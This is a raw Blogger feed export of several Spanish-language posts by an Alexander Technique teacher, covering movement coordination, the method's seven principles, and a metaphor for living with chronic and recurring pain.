<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">La
coordinación es una “<b><span style="color: #c00000;">cooperación armoniosa</span></b>”. Un movimiento
coordinado es aquel en que el cuerpo <i>trabaja
en equipo </i>con las emociones y los pensamientos para crear un resultado (kine)-estéticamente
satisfactorio.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A
nivel físico por ejemplo, el movimiento más simple requiere del trabajo en
equipo de aquello que debe entrar en acción para producir el movimiento, aquello
que debe estabilizarse para prevenir movimientos no deseados, y aquello que debe
dejar de actuar para permitir que ocurra el movimiento deseado. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Si no
hay coordinación y trabajo en equipo no hay movimiento (o al menos no un
movimiento kinestésicamente satisfactorio).<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<br />
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">La clave
del movimiento armónico no radica en la fuerza o la flexibilidad de una parte
en particular, sino en la interacción armoniosa entre todas las partes,
trabajando en equipo hacia un fin común.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
</div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY;">- Victoria<o:p></o:p></span></b></div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-78003885364250722252016-03-15T09:29:00.002-03:002016-03-15T09:32:31.588-03:00Un “Método” NO es una “Coreografía”: Principios de la Técnica Alexander<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSUzos0kbXc_Bm3oRUM1YNLhVNhK_jQ4MO_aA1nk9YX3P7mjrLQvoB8pso52ziwVOdZy5ymLvr1-UqxPZf2W9vgbYD1Kuz5l2Jn2gavZ9flOmZUvnMQHAy68Y8Sh_uK_NzBLOC3CkmWcyz/s1600/open+arms.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSUzos0kbXc_Bm3oRUM1YNLhVNhK_jQ4MO_aA1nk9YX3P7mjrLQvoB8pso52ziwVOdZy5ymLvr1-UqxPZf2W9vgbYD1Kuz5l2Jn2gavZ9flOmZUvnMQHAy68Y8Sh_uK_NzBLOC3CkmWcyz/s1600/open+arms.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Un
método de reeducación, de entrenamiento o de terapia no se define por la serie
de ejercicios, procedimientos o técnicas puntuales que se utilizan en ella. Si
un método no es más que su cascarón externo (eso que se observa a simple vista)
entonces cualquiera que aprenda la “coreografía” de movimientos que lo componen
podría decir que lo está practicando.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Si
bien la gran mayoría de clases de Técnica Alexander en cualquier parte del
mundo comparten características (por ejemplo, es habitual que se divida el
tiempo de clase en “trabajo de silla” y “trabajo de camilla”) esto se debe más
a la metodología empleada por las escuelas de formación de profesores, que a un
requerimiento de la Técnica Alexander en sí. La Técnica Alexander no posee ni
ejercicios, ni técnicas puntuales de manipulación, por lo que es “in-copiable”.
<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Esto la
vuelve, sin embargo, extremadamente difícil de explicar: ¿cómo se describe algo
que no tiene forma concreta?<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Ya he
hecho mi intento en blogs pasados de explicar qué es la <b><a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/que-es-la-tecnica-alexander.html" target="_blank">Técnica Alexander</a></b> y cuáles son sus <a href="http://vstanhamtecnicaalexander.blogspot.com.uy/2016/01/3-inesperados-beneficios-de-aprender.html" style="font-weight: bold; text-decoration: underline;" target="_blank">beneficios</a>, por lo que no voy a aburrirte
repitiéndome. En aquellos blogs hago hincapié en que <b><span style="color: #c00000;">la Técnica Alexander es una serie de
principios</span></b> desde los que se aborda la relación cuerpo-mente para devenir
en movimiento. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Hoy
me gustaría describir estos principios brevemente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">Principios de la
Técnica Alexander<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">1.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Unidad Mente-Cuerpo (Unidad Psicofísica)</span></u></b>:
<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Reconocemos
que mente y cuerpo son dos caras de una misma moneda. La una es un reflejo
perfecto de la otra de tal forma que nuestro estado mental estará reflejado en
un estado corporal y viceversa. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">A la
hora de movernos esto es importante porque las ideas que tengamos sobre el
cuerpo y el movimiento, generarán una cualidad de movimiento particular.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">2.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Los medios por sobre los fines (El Cómo
sobre el Qué)</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Hay
mil y un formas de lograr un fin; queremos ser capaces de elegir entre esas mil
y un formas la más conveniente en cada situación, y no estar atados siempre a
una misma respuesta estereotipada. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">La
manera en que habitualmente hacés algo crea tu forma, moldea tu vida, genera
tus condiciones. Un movimiento repetido inconscientemente cientos de veces al día
genera una reorganización general de todo el sistema para facilitar ese
movimiento (o sea arma un molde a su medida). Esto no es en sí un problema,
pero puede volverse uno si esta forma pasa a ser nuestra única manera de
realizar una tarea.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">3.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">El Uso afecta la Estructura y su
Funcionamiento</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Estructura
y función están íntimamente relacionadas mediante un diseño. Existe por lo tanto una “lógica de uso” para
esa estructura que es la más eficiente para que cumpla su función. O sea, cómo
“usamos” la estructura para llevar a cabo la función afectará la eficiencia de
esta última, y a la larga o corta generará cambios en la estructura también. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Nuestra
forma de “usarnos” (o sea de generar nuestros movimientos físicos y mentales) está
basado en nuestras ideas sobre nuestras estructuras y su funcionamiento. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">4.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Mapa Corporal y Apreciación Sensorial
Descalibrada</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Nuestras
ideas inconscientes sobre nuestra estructura y su funcionamiento están basadas
en la calidad de la información sensorial que recibimos desde cada parte de
nuestro cuerpo. Hay áreas que están claras en nuestro mapa y áreas que no lo
están tanto. Los mapas corporales se construyen de la confluencia de
información sensorial (percepción) y su interpretación a nivel de la corteza
cerebral (apreciación). Esta apreciación está a su vez fuertemente influida por
nuestras ideas y nuestras emociones. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Por
lo general nuestra apreciación sensorial tiene muchos datos inexactos, cuando
no directamente erróneos. Esto es importante de corregir, ya que la calidad de
nuestro movimiento está basada en la claridad y calidad de estos “mapas
corporales”. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">5.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Fuerza del Hábito e Inhibición de la
Respuesta Habitual</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">El
hábito es inconsciente y domina nuestro accionar. El hábito se puede volver
consciente nuevamente, y sólo entonces lo podremos cambiar. Sin embargo, el
hábito viejo siempre estará allí, automatizado y pronto para resurgir si las
condiciones se dan. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Saber
esto es importante para estar sobre aviso a la hora de movernos y así tomar
recaudos extra para darnos mejores condiciones para la acción. La inhibición es
este acto de recordar la fuerza del hábito, y tomarse el tiempo necesario para
generar el espacio y las condiciones para una respuesta consciente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">6.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Permitir que el Movimiento Ocurra (No
Hacer) y Dirigir el Uso</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Esta
frase que parece contradictoria habla en verdad de un pensamiento lateral o
“indirecto” en vez de un abordaje directo. Queremos trabajar con las
direcciones que el cuerpo tomaría naturalmente si nuestros hábitos adquiridos no
se interpusiesen, queremos “permitir que ocurra” el movimiento. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Pero
para ello debemos dirigir nuestro uso de nosotros mismos con el pensamiento, recordándonos
constantemente aquello que queremos evitar que ocurra (inhibir) y aquello a lo
que queremos darle permiso para que se manifieste.<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Principios.docx#_ftn1" name="_ftnref1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "calibri" , "sans-serif"; font-size: 14.0pt; line-height: 115%;">[1]</span></span><!--[endif]--></span></a><o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">7.</span></b><span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;"> <b><u><span style="color: #c00000;">Control Primario (Coordinación de la
Respuesta Global del Cuerpo al Estímulo)</span></u></b>: <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">El
Control Primario habla de la cualidad de la relación que mantienen la cabeza, la
columna y la pelvis. Esta relación determina la cualidad de la respuesta de
tensión global del cuerpo. El grado de “libertad del cuello” en el movimiento es
un barómetro para reconocer el grado de libertad de la respuesta global del
sistema.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY;">Cuando
el “control primario” funciona sin mayores trabas hay un equilibrio dinámico entre
los reflejos posturales de soporte y de movilidad. Los profesores de Técnica
Alexander llaman a este estado de equilibrio dinámico “poise”, y a la cualidad
de vitalidad y espacio que aparece en todo el sistema el “up”. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt;">- Victoria<o:p></o:p></span></b></div>
<br />
<div>
<!--[if !supportFootnotes]--><br clear="all" />
<hr align="left" size="1" width="33%" />
<!--[endif]-->
<br />
<div id="ftn1">
<div class="MsoFootnoteText">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Principios.docx#_ftnref1" name="_ftn1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "calibri" , "sans-serif"; font-size: 10.0pt; line-height: 115%;">[1]</span></span><!--[endif]--></span></a> <b><span lang="ES-UY" style="color: #c00000;">Las direcciones “tradicionales” de la Técnica
Alexander son</span></b><span lang="ES-UY"> : <o:p></o:p></span></div>
<div class="MsoFootnoteText">
<span lang="ES-UY">1.
quiero darle libertad a mi cuello
(allow my neck to be free)<o:p></o:p></span></div>
<div class="MsoFootnoteText">
<span lang="ES-UY">2.
para que mi espalda se alargue y se ensanche
(to allow my back to lengthen and widen)<o:p></o:p></span></div>
<div class="MsoFootnoteText">
<span lang="ES-UY">3.
para que mis rodillas vayan hacia adelante y lejos de mis caderas (to allow my knees to go forward and away)<o:p></o:p></span></div>
<div class="MsoFootnoteText">
<span lang="ES-UY">4.
para ensanchar la parte alta de mis brazos a medida que jalo hacia los codos
(to widen across the upper part of the arm as you pull to the elbows)<o:p></o:p></span></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-87293262851672270112016-02-23T18:21:00.000-03:002016-02-23T18:21:27.640-03:00Dolores y Lesiones: Estrategias para irla llevando…<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLV05LTcn7VSQ_aKC8KpLLP1yTBV96sGSf0rV_HlxjysxHwa1fnJ-TDa2OCtByg5LD9hvh3sYKrhOr_47VP2csjofD07r11ox4-jrvQ7kEFGR0uFBPuhG48J3LwRY1LzABK0hjUkNtnvor/s1600/Dark+Sky.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLV05LTcn7VSQ_aKC8KpLLP1yTBV96sGSf0rV_HlxjysxHwa1fnJ-TDa2OCtByg5LD9hvh3sYKrhOr_47VP2csjofD07r11ox4-jrvQ7kEFGR0uFBPuhG48J3LwRY1LzABK0hjUkNtnvor/s1600/Dark+Sky.jpg" /></a></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">La semana pasada me
lesioné el pie derecho. Duele bastante, y me pasé tres días con el pie
inmovilizado. Como en general soy una persona sana y sin dolores corporales,
encontrarme invalidada (por leve que sea) me frustra terriblemente. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Casualmente, me llegó
al email un <u><a href="http://blog.forwardmotionpt.com/2015/03/the-dark-room-of-pain.html" target="_blank">artículo sobre el dolor</a>,</u> de un fisioterapeuta americano.<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Dolores%20y%20Lesiones.docx#_ftn1" name="_ftnref1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span lang="ES-UY" style="font-family: "Calibri","sans-serif"; font-size: 14.0pt; line-height: 115%; mso-ansi-language: ES-UY; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">[1]</span></span><!--[endif]--></span></a> Me
gustó tanto la metáfora que utiliza que la voy a tomar prestada para escribir
este blog. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">La metáfora dice que <span style="color: #c00000;">vivir con dolor es como vivir en un cuarto oscuro del que
quieres escapar</span>. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">De todas las
estrategias para lograrlo, algunas no son muy sabias. Correr a ciegas ignorando
el ambiente, con la esperanza de milagrosamente aparecer del otro lado de la
puerta, seguramente acabe en un gran golpe a toda velocidad contra la pared, o
en un enorme tropezón y caída contra la mesa ratona. Por otro lado, quedarte
sentado en la mitad del cuarto sin moverte no te lleva a ningún lado. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">En otras palabras,
ignorar el dolor puede acabar en una lesión peor, pero evitar todo movimiento
para no doler limita tu vida y no mejora la situación original. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Si querés salir de la
oscuridad vas a tener que explorar con cuidado, hasta encontrar el, o por qué
no ‘los’, caminos que te llevan a la puerta o al menos a un interruptor de luz.
O sea, tenés que explorar con conciencia los límites de tus movimientos posibles,
buscando oportunidades y estrategias para expandirlos. <o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Hay <span style="color: #c00000;">2 situaciones en las que es crucial llevar a cabo esta
exploración</span>.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">1. Dolor Crónico<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">El <span style="color: #c00000;">dolor crónico</span> es como un cuarto oscuro con la
puerta trancada y apagón permanente. Quizás la situación se revierta en un
futuro, pero de momento tenés que <span style="color: #c00000;">aprender a
manejarte en la oscuridad</span>. Esto significa que debés aprender a conocer
el cuarto a tientas, hasta que tengas muy claro dónde están todos los muebles
para no llevarte ninguno puesto. En términos de tu cuerpo esto equivale a
explorar todas las estrategias de movimiento que no exacerban el dolor. Cuanto
más conocés el mapa de tu cuarto (mapa corporal) y todas las rutas dentro de él
(estrategias de movimiento), más libre te sentirás para poder hacer lo que
quieras… aunque las luces sigan apagadas.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">2. Dolor Recurrente<o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Si tu dolor no es crónico,
pero en tu cuarto las luces tienden a apagarse cada tanto (<span style="color: #c00000;">episodios de dolor recurrente</span>), lo mejor que podés
hacer es <span style="color: #c00000;">explorar tu cuarto mientras tenés luz</span>.
Cuanto más conozcas el cuarto, mejor te vas a poder manejar cuando las luces se
apaguen repentinamente. De hecho, una vez que pasa el primer susto de quedarte
a oscuras, ya tendrás en tu mapa mental del cuarto una buena idea de dónde está
la puerta y el interruptor de luz… y la mesa ratona para no tropezarte.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br />
<span style="background: #FEFDFA;">Hasta aquí la brillante metáfora que comparte
el fisioterapeuta americano en su artículo. Pero me gustaría agregarle mi
granito de arena.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="background: #FEFDFA; color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">¿Por qué esperar a
que se apaguen las luces para explorar?</span></b><b><span lang="ES-UY" style="background: #FEFDFA; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"> <o:p></o:p></span></b></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="background: #FEFDFA; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Es
cierto que mientras nada nos duele, creemos que nada nunca nos dolerá, y que
por tanto nuestras estrategias actuales de movimiento nos van a servir eternamente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="background: #FEFDFA; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Sin
embargo, hasta los cuerpos más sanos, jóvenes y vigorosos se lesionan… a veces
sin razón aparente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span lang="ES-UY" style="background: #FEFDFA; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">En
mi experiencia con mi lesión, contar con un bagaje de conocimiento previo de mi
mapa corporal y de diferentes estrategias de movimiento para lograr una misma
acción (<span style="color: #c00000;">principio básico de la Técnica Alexander:
los medios sobre los fines</span>) me ha ayudado enormemente a desplazarme “en
una pata” sin exacerbar patrones de tensión general. Me encuentro también que
cuento con varias estrategias para caminar, y que no siempre la primera que
escoge mi cuerpo es la más eficiente.<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span lang="ES-UY" style="background: #FEFDFA; color: #c00000; font-size: 14.0pt; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">- Victoria<o:p></o:p></span></b></div>
<br />
<div>
<!--[if !supportFootnotes]--><br clear="all" />
<hr align="left" size="1" width="33%" />
<!--[endif]-->
<div id="ftn1">
<div class="MsoFootnoteText">
<a href="file:///C:/Users/Vicky/Documents/T%C3%A9cnica%20Alexander/Blog/Alex%20Blog/Dolores%20y%20Lesiones.docx#_ftnref1" name="_ftn1" title=""><span class="MsoFootnoteReference"><!--[if !supportFootnotes]--><span class="MsoFootnoteReference"><span style="font-family: "Calibri","sans-serif"; font-size: 10.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">[1]</span></span><!--[endif]--></span></a> <span lang="ES-UY">Para ver el artículo original en inglés: </span><a href="http://blog.forwardmotionpt.com/2015/03/the-dark-room-of-pain.html"><span lang="ES-UY" style="color: windowtext; mso-ansi-language: ES-UY; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">http://blog.forwardmotionpt.com/2015/03/the-dark-room-of-pain.html</span></a><span lang="ES-UY"><o:p></o:p></span></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/00071312518508900960noreply@blogger.com0tag:blogger.com,1999:blog-1987438956695353649.post-88969369188341841002016-02-14T16:21:00.000-03:002016-02-14T16:21:20.802-03:00Trabajar Sobre la Estructura y el Movimiento vs.Trabajar Sobre las Ideas e Imágenes<div class="separator" style="clear: both; text-align: center;">
